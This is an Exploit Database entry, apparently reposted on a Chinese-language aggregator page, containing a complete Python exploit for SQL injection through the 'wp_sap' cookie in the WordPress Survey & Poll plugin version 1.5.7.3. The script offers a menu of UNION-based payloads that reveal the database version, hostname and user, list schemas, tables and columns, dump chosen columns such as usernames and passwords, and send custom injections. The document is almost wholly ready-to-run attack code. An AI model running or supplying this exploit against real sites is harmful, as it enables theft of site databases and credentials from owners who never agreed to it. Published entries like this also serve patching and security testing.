WordPress Plugin Survey & Poll 1.5.7.3 – ‘sss_params’ SQL Injection (2)

• Exploit Database
• 9 阅读

• 作者： Mohin Paramasivam
  日期： 2021-09-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50269/

• # Exploit Title: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)
  # Date: 2021-09-07
  # Exploit Author: Mohin Paramasivam (Shad0wQu35t)
  # Vendor Homepage: http://modalsurvey.pantherius.com/
  # Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
  # Version: 1.5.7.3
  # Tested on: MariaDB,MYSQL
  
  #!/usr/bin/python3
  
  import requests
  import re
  import warnings
  from bs4 import BeautifulSoup, CData
  import sys
  import argparse
  import os
  import time
  from termcolor import colored
  import validators
  
  #Install all the requirements
  
  """
  pip3 install requests
  pip3 install bs4
  pip3 install argparse
  pip3 install termcolor
  pip3 install validators
  
  """
  
  
  parser = argparse.ArgumentParser(description='WP Plugin Survey & Poll V1.5.7.3 SQL Injection (sss_params)')
  parser.add_argument('-u',help='Poll & Survey page URL')
  args = parser.parse_args()
  
  url = args.u
  
  
  if len(sys.argv) !=3:
  parser.print_help(sys.stderr)
  sys.exit()
  
  if not validators.url(url):
  	print(colored("\r\nEnter URL with http:// or https://\r\n",'red'))
  	parser.print_help(sys.stderr)
  	sys.exit()
  
  
  def currect_db_name():
  	payload= """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,database(),11#"]"""
  	inject(payload)
  
  
  def db_version():
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]"""
  	inject(payload)
  
  
  def hostname():
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@hostname,11#"]"""
  	inject(payload)
  
  
  def current_user():
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,user(),11#"]"""
  	inject(payload)
  
  
  def list_databases():
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11 from information_schema.schemata#"]"""
  	inject(payload)
  
  def list_tables_db():
  	db = input("\r\nDatabase : ")
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11 from information_schema.tables where table_schema='%s'#"]""" %(db)
  	inject(payload)	
  
  
  def list_columns_db():
  	db = input("\r\nDatabase : ")
  	table = input("Table : ")
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11 from information_schema.columns where table_schema='%s' and table_name='%s'#"]""" %(db,table)
  	inject(payload)	
  
  
  def dump_db():
  	db = input("\r\nDatabase: ")
  	table = input("Table: ")
  	column = input("Columns Eg: users,password : ")
  	dump = "%s.%s" %(db,table)
  	payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(%s),11 from %s.%s#"]""" %(column,db,table)
  	inject(payload)	
  
  
  def custom_payload():
  	payload = input("\r\nPayload : ")
  	inject(payload)
  
  def inject(inject_payload):
  
  	request = requests.Session()
  
  	cookies = {
  		'wp_sap': inject_payload,
  		
  		}
  	print("\r\n"+colored("Sending Payload :",'red')+" %s\r\n" %colored((inject_payload),'green'))
  	response = request.get(url,cookies=cookies)
  	warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
  	soup = BeautifulSoup(response.text,features="lxml")
  	cdata = soup.find(text=re.compile("CDATA"))
  	split_cdata = list(cdata.split(':'))
  	output = split_cdata[11]
  	print("\r\n"+colored("SQLI OUTPUT :",'red')+" %s\r\n" %colored((output),'green'))
  	time.sleep(1)
  	main()
  
  
  
  def main():
  	print ("Automated SQL Injector (wp-survey-and-poll)")
  	print ("Enter the respective number to select option")
  	print ("#EXAMPLE Option : 1\r\n")
  
  
  
  	print("Option 1 : Grab Database Version")
  	print("Option 2 : Get Current Database Name")
  	print("Option 3 : Get Hostname ")
  	print("Option 4 : Get Current User")
  	print("Option 5 : List All Databases")
  	print("Option 6 : List Tables From Database")
  	print("Option 7 : List Columns from Tables")
  	print("Option 8 : Dump Database")
  	print("Option 9 : Custom Payload")
  	print("Option 10 : Exit")
  
  
  	print("\r\n")
  	option_selected = str(input("Select Option : "))
  
  
  	if(option_selected=="1"):
  		db_version()
  
  	if(option_selected=="2"):
  		currect_db_name()
  
  	if(option_selected=="3"):
  		hostname()
  
  	if(option_selected=="4"):
  		current_user()
  
  	if(option_selected=="5"):
  		list_databases()
  
  	if(option_selected=="6"):
  		list_tables_db()
  
  	if(option_selected=="7"):
  		list_columns_db()
  
  	if(option_selected=="8"):
  		dump_db()
  
  	if(option_selected=="9"):
  		custom_payload()
  
  	if(option_selected=="10"):
  		sys.exit()
  	
  	else:
  		main()
  
  main()